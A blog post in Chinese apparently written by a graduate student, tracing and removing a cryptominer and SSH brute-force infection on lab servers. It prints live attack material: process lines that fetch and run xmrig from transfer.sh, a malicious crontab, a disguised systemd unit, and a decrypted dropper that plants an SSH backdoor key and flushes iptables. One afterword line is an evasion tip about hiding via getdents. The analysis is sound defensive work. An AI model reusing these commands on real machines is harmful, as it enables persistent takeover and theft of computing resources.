溯源 fdl 的機器

2021年5月17日下午,發現有人爆破我服務器的口令。

查了下是 fdl 的,聯系他詢問情況。

登錄上去看到有個用戶 127.0.0.1登錄的,一看就知道是映射到公網被人登錄了

確認該賬號無人使用

修改密碼然后踢出用戶

CPU挖礦

killall xmrig一鍵停止挖礦程序

找到挖礦程序本體

/var/tmp/路徑下有疑似掃描的程序

查看 lpz用戶啟動的程序

lpz       9845     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      10361     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      10628     1  0 16:00 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      11418     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      12349     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13160     1  0 5月15 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http://transfer.sh/GgVQs/xmrig ; chmod +x xmrig ; ./xmrig
lpz      13462     1  0 16:10 ?        00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz      13633     1  0 5月16 ?       00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig

找到 bios.txt

內容如下

查看建立的ssh,發現正在爆破口令

停止該用戶的所有對外發起的爆破攻擊

祭出很久以前寫的一個非常弱雞的檢查程序

查看成功登錄的記錄,記錄文件缺失不少,可能是攻擊者手抖刪了的

目錄里面翻了翻,找到了爆破成功的口令

開機自啟動爆破ssh的程序

/var/spool/cron/crontabs/lpz 文件內容,注釋所有內容

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/.5p4rk3l5 installed on Mon May  3 14:22:22 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@daily /var/tmp/./.b4nd1d0
@reboot /var/tmp/./.black > /dev/null 2>&1 & disown
* * * * * /var/tmp/./.black > /dev/null 2>&1 & disown
@monthly /var/tmp/./.black  > /dev/null 2>&1 & disown

問題不大,程序起不來了,保留現場,留給 fdl 了,我就溜了。

然后似乎應該聯系一下受害者,于是在某個群里說了下受害者IP :)

出現受害者,著實太慘了

事情告一段落,簡單記錄了下流程,fdl 建議放到內網,讓其他人排查的時候多一點思路,于是我放到內網了,不過似乎打點馬賽克還可以水一篇我自己的博客(笑

簡單的對抗

曾大佬的同學服務器中毒,遇到挖礦木馬。

昨天他們搞了快一天還沒搞定,我昨天下午給他說讓他們把ssh口令拿來,結果曾大佬十分羞澀(笑),一直沒有要口令,今早來的時候看到曾大佬還在幫對面分析。

不過,我昨天晚飯的時候剛溯源了一臺機器(前面 fdl 的那臺),我問到了曾大佬他們的IP地址,再去昨天溯源的機器里面拖下來的文件對比,找到了他們服務器的密碼 :)

試了下,發現他們已經把密碼改了 :(

然后10:30的時候,曾大佬終于問到了密碼,又是一個不太弱的弱口令,還好,查了下沒有在rockyou.txt里面。

登上去一看,好家伙,我昨天溯源的那臺機器把這臺爆破成功了,還反復登錄了好多次。來了兩波挖礦的攻擊者,大膽想象第二波把第一波攻擊者的挖礦木馬停了運行自己的,然后第一波回來了又把程序改回來了,結果沒想到第二波做了對抗,第一波被迫和第二波共享CPU,果然挖礦的最大敵人是服務器上其他挖礦的人。(希望不是披著挖礦外衣的APT攻擊)

mail列表可以看到提示 /usr/bin/sa/sa1文件不存在,是因為前面的排查的同學已經把這個惡意路徑重命名了,程序啟動不了。那就搜索哪里出現了這個可疑路徑。

使用strings命令在所有文本和二進制文件中查找這個字符串。

find -print0|xargs -0  strings |grep "/usr/lib64/sa"

搜索了之后找到文件,初步分析此文件和生成的惡意程序 /usr/bin/ 沒有直接關系,線索暫時中斷。

ps -ef 可以看到啟動了一個進程 /usr/bin/隨機字符串,發送kill -9之后立刻重新啟動,啟動之后這個程序會刪除本身,以達到隱藏自己的目的。父進程pid1,可以知道是systemd啟動的惡意進程。

樓上大佬寫了腳本無限循環kill掉這個

繼續尋找到底誰在搞事。

  1. 通過父進程pid1我們可以推測程序利用了 systemd重啟惡意程序。
  2. 通過程序無限重啟我們可以推測service的配置文件里面寫了Restart=always這個重啟策略。

于是挨個去排查 /etc/systemd/里面注冊的 Restart=always的配置文件。找了半天實在眼花,也用了正常工作的CentOSsystemd服務和此服務器的做對比,區別挺大,沒有找到明顯異常,此路不通。:)

查看下啟動的 service,還是眼花。此路不通。

systemctl list-unit-files|grep enabled

又生一計,給他發個 SEGV讓他異常退出,看看有沒有coredump,從coredump分析。因為似乎并沒有配置coredump的策略,不過也不是不能用,限于較懶+不是我的服務器,不能亂搞。程序異常退出后,在 /var/spool/abrt可以看到正在保存過程中的 coredump文件,等他dump完成之后會移動到其他地方,拼個手速趕在系統刪掉他之前把他復制一份。

發SEGV讓程序停下來,保存coredump現場

查看 environ可以看到里面有該文件的路徑 /usr/bin/ab06174bf1和另一個路徑 /usr/sbin/route_forbidden-close

早知道看 environ的話我為啥還要費力的給他發SEGV讓他段錯誤,直接去/proc/翻就行了55555 :)

過濾該文件內的字符串,可以看到 upx 字樣,正常程序肯定不會用upx的。可能這也是逃過我們剛剛的find+strings組合的原因了。

然后把文件拖下來,本機upx脫殼看看

好的,就是upx的了,送給曾大佬分析一波。

網上搜一下這個文件名字符串,可以看到有且僅有三條結果,內容一樣

點進去一看,好家伙,癥狀完全一致

https://blog.csdn.net/qq_36270681/article/details/115366550

而后直接找到了

cat /usr/lib/systemd/system/pmapx_start_2.service

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See resolved.conf(5) for details
[Unit]
Description=System function loader.
[Service]
Type=forking
GuessMainPID=no
Restart=always
RestartSec=10
ExecStart=-/usr/sbin/route_forbidden-close
[Install]
WantedBy=multi-user.target

這家伙隱藏的挺好,要不是你用upx加殼,我可能還真找不到你了 :)

找到兇手后,禁言套餐小黑屋套餐送上

systemctl disable pmapx_start_2
systemctl stop pmapx_start_2

世界瞬間安靜下來。

再看看ps -ef|grep /usr/bin,沒有異常的那個進程了,CPU負載也降到0了。

收工。

曾大佬過來問我怎么找到這個 upx 加殼的文件的,想了想我感覺可以水一篇博客,幫助大家分析這個做了一點點對抗的挖礦木馬。畢竟這個樣本似乎剛出來不久,網上沒找到太多的資料。可能有關聯詞的部分我截圖加文本形式寫到正文里面了, 做個 SEO 讓搜索引擎索引一下。

分析惡意文件

不愧是 NESE 的大佬,曾大佬分分鐘把惡意文件逆了。

這其實是個shc加密的shell腳本,可以解密,IDA里面也能直接看到 shell 的源碼。曾大佬說他還寫了個公鑰進去,我們趕緊登錄上去,果然,公鑰就在那里,仿佛在嘲笑我們百密99疏,這么明顯的東西沒有去關注他。其實也不一定容易發現這個有問題,這臺電腦很多個人在用,可能會以為是其他同學寫的。

對比一下字符串,和解密出來的shell里面內容一樣,立刻干掉他。我回到我的工位準備上去耍耍,事情變得有趣起來了。

曾大佬叫我說這個文件怎么改不了,我過去一看, :w 不能保存,:w! 也不行,看起來像是用了chattr添加了只讀屬性。

退出來一看,還真是。

好家伙,還留了一手。

問題不大,我是root啊,一波 chattr -i去掉只讀,然后覆蓋掉里面的內容,問題解決。當時解決這個問題的時候還沒有仔細分析 shell 腳本,看到寫了公鑰就直接去服務器了,往后面的shell腳本里面是能看到具體的地方的。

一個問題解決了,回來繼續分析 shell代碼。

解密之后代碼如下

#!/bin/bash### Functii / Variabile ###random_name="$(openssl rand -hex 5)"locatie_miner_default="/usr/sbin/rmt_remount-open"locatie_pid="/usr/local/share/.logfile"sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"########################################################if [ -f /usr/sbin/lib23fr ]; then static=/usr/sbin/lib23frelse static=cp fi if [ -f /usr/sbin/chattr_bakv2 ]; then static2=/usr/sbin/chattr_bakv2else static2=chattrfi if [ -f /usr/sbin/lodosir ]; then static3=/usr/sbin/lodosirelse static3=rm fi########################################################permisiuni_logs(){
	$static2 -i -a -j -t -d -u /usr	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr/local	$static2 -i -a -j -t -d -u /usr/local/share	$static2 -i -a -j -t -d -u $locatie_pid
	chmod +x $locatie_pid}######sshkeyset() {
	if [ $(id -u) = 0 ]; then if [ -f "/root/.ssh/authorized_keys" ]; then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then
				$static2 -i -a -j -t -d -u /root ; $static2 -i -a -j -t -d -u /root/.ssh ; $static2 -i -a -j -t -d -u /root/.ssh/authorized_keys				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			else
				:			fi else if [ -d "/root/.ssh" ]; then
				$static2 -i -a -j -t -d -u /root/.ssh				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			else
				$static2 -i -a -j -t -d -u /root				mkdir "/root/.ssh" 
				echo $sshkey > "/root/.ssh/authorized_keys"
				chmod 600 /root/.ssh/authorized_keys				$static2 +i /root/.ssh/authorized_keys			fi fi fi}######scoatem_ports(){
	iptables -F ; iptables --flush ; echo "nameserver 8.8.8.8"> /etc/resolv.conf}######kulkat() {
	if [ -f /usr/bin/config.json ]; then
		$static2 -i -a -j -t -d -u /usr/bin/config.json		rm -rf /usr/bin/config.json	fi}######functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name}######### End of Functii / Varibile ##### aici incepe tot codu cicapermisiuni_logs
sshkeyset
scoatem_ports
kulkat
functie_on

代碼對抗的意圖很明顯,寫了個公鑰覆蓋掉已有的 authorized_key,然后chattr設定只讀。

他還有個 /usr/sbin/chattr_bakv2 ,推測攻擊者在某些地方會把系統原有的 chattr換個名字,讓管理員上去排查的時候沒有chattr可用,好家伙,直呼內行。

/usr/sbin/rmt_remount-open 就是挖礦程序的本體了,先把挖礦程序復制到 /usr/bin/$random_name,然后啟動挖礦程序,刪除掉挖礦程序。由于shell腳本本身是 systemd啟動的,我們停止了挖礦程序后 systemd又會執行一遍這個腳本,陷入無盡的循環。

functie_on(){
	$static2 -i -a -j -t -d -u /usr/bin	$static2 -i -a -j -t -d -u /usr	$static $locatie_miner_default /usr/bin/$random_name
	/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
	$static3 -rf /usr/bin/$random_name}

但是又有一個問題,systemd關心的是這個 shell腳本的狀態,shell腳本執行了 /usr/bin/$random_name > /dev/null 2>&1 & disown就跑路了,disown參數把這個進程從 jobs中移除了,即使退出了shell也不會影響他執行。那么,我們給 /usr/bin/$random_name發送了 kill -9之后,他的腳本如何發現這個進程已經退出了然后重新啟動的呢?我們發送 kill -i不會影響這個shell腳本的執行的。

后記

  1. 兩天時間溯源兩臺機器,甚至有點好玩,無聊的研究生活里面的一點樂趣了(打乒乓球、羽毛球、恰火鍋也很快樂) :)
  2. 溯源的時候千萬不要把攻擊者錢包的地址改成自己的然后就不管了,這樣攻擊者的程序會自動在內網擴散然后上千個CPU幫你挖 xmr ,還有可能吃國家飯 :)
  3. 不要把 ssh 映射到公網了,雖然你的口令可能比較強,但是其他用戶可能是弱口令
  4. 不要用弱口令, root:123456這類口令基本是白給的
  5. 不只是 ssh 容易被攻擊, redis 未授權,java框架的各種反序列化分分鐘 getshell
  6. 挖礦木馬已經是極其文明講理的木馬了,如果對方是勒索軟件、APT攻擊者,那么后果就嚴重了 :)
  7. 建議攻擊者下次還是劫持 getdents 這類系統調用來隱藏自己,直接刪除自己這個技術含量不太高,PS一下子就看到了
  8. fa les duo ma laki